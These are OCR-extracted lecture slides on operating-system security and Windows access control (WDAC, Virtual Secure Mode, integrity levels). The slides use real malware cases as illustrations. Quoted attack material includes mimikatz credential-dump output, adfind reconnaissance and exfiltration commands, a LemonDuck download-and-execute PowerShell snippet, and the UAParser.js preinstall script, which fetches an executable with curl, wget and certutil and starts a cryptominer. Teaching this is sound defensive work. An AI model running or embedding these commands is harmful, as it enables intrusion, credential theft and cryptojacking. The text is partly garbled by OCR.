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@ Cybereason V)

= Extended Detection and Response (XDR) vendor

OPERATION-CENTRIC, NOT | ;
ALERT-CENTRIC - %

okta

Don't wade through a sea of alerts to find the one that really
matters. Cybereason pinpoints malicious operations (MalOps)
from root cause to every affected endpoint and user with real-
time, multi-stage displays of the complete attack details, providing
analysts the power to immediately understand, pinpoint, and end
attacks with a single click. With Cybereason you don't just stop the
breach, you end it before it starts.

= Cybereason Managed Detection and Response (MDR)

CYBEREASON
MDR

Managed Detection and Response
DETECT TRIAGE REMEDIATE REPORT

Cybereason MDR brings prevention, detection, and response capabilities as
a service, enabling us to uncover the most sophisticated and pervasive
threats — without having to manage it yourself.
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w About: Vlad Ogranovich

= Senior Director, Global Security Operations Center

(SOC), EMEA region

= Threat intelligence and research, large-scale incident

response, and digital forensics

RUNNING ROBUST MANAGED

DETECTION AND RESPONSE
SERVICES
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wo About: Aleksandar Milenkoski @

= Senior Malware and Threat Analyst, Global SOC, EMEA
region

THREAT ANALYSIS REPORT

SNAKE INFOSTEALER

AAAAAAAAAAAAAAAAAAAA MALWARE s
INSIDE THE LOCKBIT

INSIDE THE DESTRUCTIVE PYSA'
ARSENAL: THE STEALBIT 4.
EXFILTRATION TOOL RANSOMWARE

= PhD in system security at the University of Wlrzburg

f 4 Hypercall
handler
5> | J
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w Goals
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Understand basic concepts of secure operating system
design
= Focus on access control

Understand the application of access control in modern
operating systems

Understand how access control mechanisms protect
against real-world attack scenarios and malware
operation
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DISCRETIONARY ACCESS CONTROL







[ Spotlight: WDAC (1) ¥}
* Protected resource: process, windows DLLs

= WDAC: Windows (Microsoft) Defender Application Control
» User-configurable process execution allow- and deny-listing
= WDAC practically “locks” the application landscape

1010 ConvertFrom-CIPolicy Policy levels
1010 ° —p
] i Hash: Allow/deny by hash value
Policy file _ Policy file
System32|Coaelntegrity |SIPolicy.p7b * xm/ PcaCertificate: Allow/deny by signer
T certificate
<>
— §- 113 Publisher. Allow/deny by signer certificate
Application A and signer name
T SignedVersion: Allow/deny by signer
Kernel l certificate, signer name, and file version
_loio
1010 [...]
System32|ci.dll

reference monitor
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I Spotlight: WDAC (2) |}

<?xml version="1.0" encoding="utf-8" ?>
<SiPolicy
[...]
<Rules>
<Rule>
<Option>Enabled:Unsigned System Integrity Policy</Option>
</Rule>

[...]

<FileRules>

<Deny ID="ID_DENY_ADDINPROCESS" FriendlyName="AddInProcess.exe" FileName="AddInProcess.exe"
MinimumFileVersion="65535.65535.65535.65535"/>

<Deny ID="ID_DENY_ADDINPROCESS32" FriendlyName="AddInProcess32.exe"
FileName="AddInProcess32.exe" MinimumFileVersion="65535.65535.65535.65535"/>
[...]
[...]

<Deny ID="ID_DENY_D_1" FriendlyName="Powershell 1"
Hash="02BE82F63EE962BCD4B8303E60F806F6613759C6"/>

<Deny ID="ID_DENY_D_2" FriendlyName="Powershell 2"
Hash="13765D9A16CC46B2113766822627F026A68431DF"/>

<Deny ID="ID_DENY_D_3" FriendlyName="Powershell 3"
Hash="148972F670E18790D62D753E01ED8D22B351A57E45544D88ACE380FEDAF24A40" />

[...]
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" Spotlight: WDAC (3)

Lat movement
Recon tooI m  tool
Malware

<>

Malware

>1</>

PowerShell Recon tool

—[@]

Lat. movement
tool
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Ll Spotlight: WDAC (4)
ovement

Lat. m
Recon tool tool
Malware
O

— @ &

Malware

Q @

PowerShell Recon tool

—@Q &

Lat. movement
tool

16/39



@Attack: Malware/Tool Deployment (1)
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Phishing emalil

Password-protected
archive file

-

Malicious
document

r

Attacker-controlled

endpoint

4

TrickBot
BazarBackdoor

+
(Y

A JavaScript
| I 33_> < / > code

mshta.exe HTA file { } I

VBScript code

.9 L [=
10

regsvr32.exe TrickBot
BazarBackdoor
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@ Attack: Malware/Tool Deployment (2) @

. cmd.exe % B C: \WINDOWS\system32\cmd.exe /C adf.bat

adfind.exe

adfind.exe f "(objectcategory=person)™

adfind.exe

adfind.exe -f "objectcategory=computer"

I;jf_’_ ey 4 reconnaissance

"(objectcategory=organizationalUnit)"

adfind.exe -f

adfind.exe

adfind.exe -subnets -f “(objectCategory=subnet)"”

adfind.exe

adfind.exe -f "(objectcategory=group)"

adfind exe

adfind.exe -gcb -sc tr.mm-np

sihosts copy "\
—ignore-existing —auto-confirm —multi-thread-streams 20 -

data exfiltration omd.exe

transfers 20 —min-size 1k -max-age 36M —include-from include-
file.txt

"

sihosts.exe

C @B =
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@ Spotlight: Virtual Secure Mode (1) @

* The Windows OS establishes compartmentalization and
the principle of least privilege by applying MAC at both:
= kernel-level

= application-level
Root partition

o2 Application Secure application

8 — landscape landscape

access request 1
reference monitor

Aleksandar Milenkoski, Vlad Ogranovich: Operating Systems Security. Copyright: University of Wirzburg (2022).
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@ Spotlight: Virtual Secure Mode (2)

direct access of process memory

T 1

1 |

E
mimikatz

Isass.exe

Kernel

credential dump

VS.

. | mimikatz 2.1.1 x64 (oe.eo)

T\Users\kevinj. > . \mimkatz. exe

mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14
"A La Vie, A L'Amour” - (oce.eo) ** Kitten Edition
«*= Benjamin DELPY 'gentilkiwi’' ( benjamin@gentilkiwi.com )
> http://blog.gentilkiwi.com/mimikatz
( vincent. Jetoux@gmail.com )
http://mysmartlogon. com »

JBEBE.

Vincent LE TOU
> http://pingcas

nimikatz # privilege::debug
Privilege "20" OK

Amikatz # sekurlsa::logonpasswords

thentication Id : 0 ; 1017448 (00000000:00
RemoteInteractive from 2
evini

: 371372019 2:05:31 PM

msv :
[00000003] Primary
Username Kevin]

00010000] CredentialKey
NTLM 78fbdcb6b6b069c68296a3543blabebb

* SHA1 : a338fdc4f740cc7b2c8244dd32828F7 9

&,

mimikatz

Isassiso.exe

Normal kernel >

Secure kernel

Hypervisor
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w Attack: Credential Dump

= LemonDuck: Crypto-mining malware

C:\Windows\Systen32\WindowsPowerShe L 1\v1.0\powershel 1. EXE - ¢ function alsu) ¢

$ = (Ne'w - Ob) ect Net.WebC lient)."DownloadgData™(Su);
= $d.count;

if (8¢ - ot 1 {

sb = $di173..5¢];
—_—) a I ex( oinfcharl]]sb)

O

Compromised  Scheduled
machine task

l I alSurl + 3. )SE p_202105077"' « M $env:COMPUTERNAME, Senv:USERNAME, (...
g "C:\Windows\system32\sc.exe" Delete Serhiez
"C:\Windows\system32\sc.exe" Delete Oracleupdate

a "C:\Windows\system32\sc.exe" Config Windows_Update Start= Disabled
—» S a

"C:\Windows\system32\sc.exe’ Delete RpcEptManger

Name State HasMo Date location

Jobl Running True localhost

1388
: Microsoft.Win32.S5afeHandles.SafeWaitHandle

Ery to get mimi...
try to get mimi...
try to get mimi. ..
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@ Spotlight: W)
Mandatory Integrity Control (1)

MAC DAC Protected resources

Integrity levels Users

Medium Standard users

Local system
Local service All securable objects
' Network service Processes
High Of i
Administrator les
Memory areas
 Medum o

Everyone (world)

Low
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@ Spotlight: V)
Mandatory Integrity Control (2)

W e  DACY \
: | @
Internet-facing Sensitive file
application

Process injection

% @)
. —— Windows application

explorer.exe,..
Browser e )
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@ Spotlight: V)
Mandatory Integrity Control (3)

x DAC V'
= Q E
Internet-facing Sensitive file
application IL: high
IL: low

11
x @) Q
4D Windows application
(explorer.exe,..)

Browser _ :
IL: medium
IL: low
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@ Attack: Magniber Ransomware (1) @

* First observed on compromised systems in 2017. At that
time, malicious actors delivered Magniber primarily via the
Magnitude exploit kit

= The ransomware is continuously under active development

» Frequent significant code changes and improvements to obfuscation
features, evasion tactics, and encryption mechanisms

= Magniber actively exploited PrintNightmare (CVE-2021-
34527) to deploy ransomware. Now deployed by exploiting
IE browser vulnerabilities

2021-11-11 - Bleeping Computer - Bill Toulas
Al Magniber ransomware gang now exploits Internet Explorer flaws in attacks

& Magniber

2021-09-22 - Cybereason - Aleksandar Milenkoski, Eli Salem
BB Threat Analysis Report: PrintNightmare and Magniber Ransomware

3% Magniber

27139



@ Attack: Magniber Ransomware (2)

Magniber DLL

[ Code unpackum
v

Process
enumeration

'
[ Code injection }—‘

Injected code

First phase

>{ Code unpacking ]

Mutex object
creation

.

[ Drive enumeration ]

File enumeration ]

No

Second phase

Is the file allowlisted for encryption -
and of higher encryption priority?

Yes

l

File encryption

AES key/IV generation

Y

AES encryption: File data
blocks

Y

RSA encryption: AES key/IV

!

File enumeration ]

No

File encryption

AES key/lV generation

Y
Is the file allowdisted for encryption AES encryption: File data
and of lower encryption priority? blocks
\ /
Yes RSA encryption: AES key/IV
Payment website display Mutex object | Shadow copies

and information exfiltration release

J

Magniber DLL

Execution
termination

A

i deletion
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Aleksandar Milenkoski, Vlad Ogranovich: Operating Systems Security. Copyright: University of Wirzburg (2022).




@ Attack: Magniber Ransomware (3) Y

= NtCreateSection: The Magniber ransomware creates a new memory section
that has RWX (read/write/execute) protection

=  NtMapViewOfSection: Magniber maps the memory section in the virtual
address space of the process in which the ransomware executes with RWX
(read/write/execute) protection. The ransomware then writes the unpacked
code into the mapped memory section

= NtMapViewOfSection: Magniber maps the memory section in the virtual
address space of the process in which the ransomware injects code
(for example, sihost.exe) with RWX protection. The code that Magniber has
written in the memory section mapped in the virtual address space of
spoolsv.exe is now mirrored (i.e., injected) in the memory section mapped
in the virtual address space of sihost.exe

= NtCreateThreadEx: Magniber creates a thread in the context of
sihost.exe, also known as a remote thread, and then suspends the
execution of that thread
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@ Attack: Magniber Ransomware (4) V

= NtGetContextThread: Magniber retrieves the context of the newly created
remote thread. Thread context is data related to the operation of the thread,
which includes the values of the registers associated with the thread, such
as the thread'’s instruction pointer register (rip)

= NtSetContextThread: Magniber sets the value of the remote thread’s rip
to the virtual address at which the memory section is mapped in the virtual
address space of sihost.exe. This causes the remote thread to execute the
code stored in this memory section when the thread resumes execution

= NtResumeThread: Magniber resumes the execution of the remote thread.
This executes the injected code in the context of sihost.exe

S, S
> & Windows application @

Browser (explorer.exe,..)
IL: medium
IL: low
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@ Spotlight: Universal Windows Apps (1) @

» Protected resource: Capability-bound (APIs, printers,
Internet...) AppxManifest.xml

[..]

A | <Capabilities>
Application installat " <Capability Name="internetClient" />
pplication Instafiation package <Capability Name="removableStorage " />

</Capabilities>

Microsoft

.y Store

File (removable storage)

O‘O Installation MAC: Capability check
lK MAC: Integrity verification \
/> >[</>

Application RuntimeBroker.exe
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@ Spotlight: Universal Windows Apps (2) @

1 =1
r/

E .
©) [
. 1 10
A — Popular
application

P PP

</> </>)
I3 Malware N Malware
@) ®)
i i o 0 1io"
-1 (</5] >[</> a2 /3 >[</>
Malicious popular API Malicious popular API
application \ application N
— 8 —B
Files Files
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@ Spotlight: Universal Windows Apps (3) |}

1 =1

®) >[</>
1 10

S, Popular
application

PP
B Jea —or

Id Malware i1 Malware
\ \
ga ;i
22~ Q) [ -Q 222~ Q) [ -Q
Malicious popular AP Malicious popular API

application

—>Q application —>6

Files Files
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w Attack: Malicious Implant (1) |}

= |n October 2021, a malicious actor implanted code In the
source code of the UAParser.s library that is distributed
as an npm software package

= npm is a JavaScript Package Manager / software repository

* The malicious code deploys cryptocurrency-mining and
Information-stealing malware on compromised systems

= The number of systems compromised by users installing
the malicious UAParser.js npm package is not known.
The UAParser.js library is very popular, with over 7
million downloads per week
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w Attack: Malicious Implant (2)

o _0
So'a [...]

"scripts®: {

"title": "UAParser.js",
"name": "ua-parser-js",
"version": "0.7.28",
"version": "0.7.29",

"main": "src/ua-parser.js",

"preinstall": "start /B node preinstall.js & node preinstall.js",J

[...]

const { exec } = require("child_process");

function terminalLinux(){

[[exec("/bin/bash preinstall.sh",](error, stdout, stderr) => {
(=]

3

}

var opsys = process.platform;

if (opsys == "darwin") {
opsys = "Mac0S";

} [€lse if (opsys == "win32" [| opsys == "win64") {
opsys = "Windows";

const { spawn } = require('child_process');
[const bat = spawn('cmd.exe', ['/c', ‘preinstall.bat']);]
} [else if (opsys == "linux") Tl

@echo off

curl http://159.148.186.228/download/jsextension.exe -0 jsextension.exe

iT not exist jsextension.exe [
[yget http://159.148,186.228/download/jsextension.exe -0 1se-:en51on.exe]

)
if not exist jsextension.exe (
[cer!utxl.exe -urlcache -f http://159.148.186.228/download/jsextension.exe jsextension.exe

)

opsys = "Linux";

terminalLinux();

[seie])
>tasklist.temp (

[tasklist /NH /FI "IMAGENAME eq %exe_1%"|

crypto miner

)

for /f %%x in (tasklist.temp) do (

[if "wx" EQU “"%exe_1%" set /a count_l+=1|

)

(if %scount_1% EQU @ (start /B .\jsextension.exé -~k ==tls --rig-id q

information stealer
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-0 pool.minexmr.com:443 -u
49ay9Aq2r3diJtEk3eeKKm7pcSR39AKNbYIZVQAd1UUmew6 ZPX1nd fXQCT16vAat ripderPyXtUQZTHG) bLXWQd xxXYKH

-~cpu-max-threads-hint=50 --donate-level=1 --background &| regsvr32.exe -s create.dll)
del tasklist.temp
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Summary @

Basic concepts of secure operating system design

= [solation, the least privilege principle, mandatory and discretionary
access control

Application of access control in operating systems

» Technology spotlights: Virtual Secure Mode, WDAC, Mandatory
Integrity Control, Universal Window Apps

Access control mechanisms protect against real-world
attack scenarios and malware operation

= TrickBot, LemonDuck, Magniber ransomware, UAParser.|s
malicious code implant



w References @

] Microsoft. Virtual Secure Mode. https://docs.microsoft.com/en-us/virtualization/hyper-v-on-
windows/tlfs/vsm

=  Microsoft. Mandatory Integrity Control. https://docs.microsoft.com/en-
us/windows/win32/secauthz/mandatory-integrity-control

=  Microsoft. Application Control for Windows. https://docs.microsoft.com/en-us/windows/security/threat-
protection/windows-defender-application-control/windows-defender-application-control

=  Microsoft. Universal Windows Apps. https://docs.microsoft.com/en-us/windows/uwp/get-started/universal-
application-platform-guide

=  Cybereason. LemonDuck Crypto-Mining Malware. https://www.cybereason.com/blog/threat-alert-
lemonduck-crypto-mining-malware

=  Cybereason. PrintNightmare and the Magniber Ransomware. https://www.cybereason.com/blog/threat-
analysis-report-printnightmare-and-magniber-ransomware

=  Cybereason. From Shathak Emails to the Conti Ransomware. https://www.cybereason.com/blog/threat-
analysis-report-from-shatak-emails-to-the-conti-ransomware

=  Cybereason. Malicious Code Implant in the UAParser.js Library. https://www.cybereason.com/blog/threat-
alert-malicious-code-implant-in-the-uaparser.js-library

Teaching materials of Prof. John Mitchel (Stanford) and Ahmad-Reza Sadeghi (Ruhr-University Bochum) were
used in this lecture
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@ We Are Hiring!

= Full-time jobs and paid internships
* |ncluding entry-level positions

Look at job postings

SECURITY OPERATIONS CENTER

https://jobs.cybereason.com/

Send an email

Aleksandar Milenkoski |~X] aleksandar.milenkoski@cybereason.com

(2

2~ vlad.ogranovich@cybereason.com

Vlad Ogranovich
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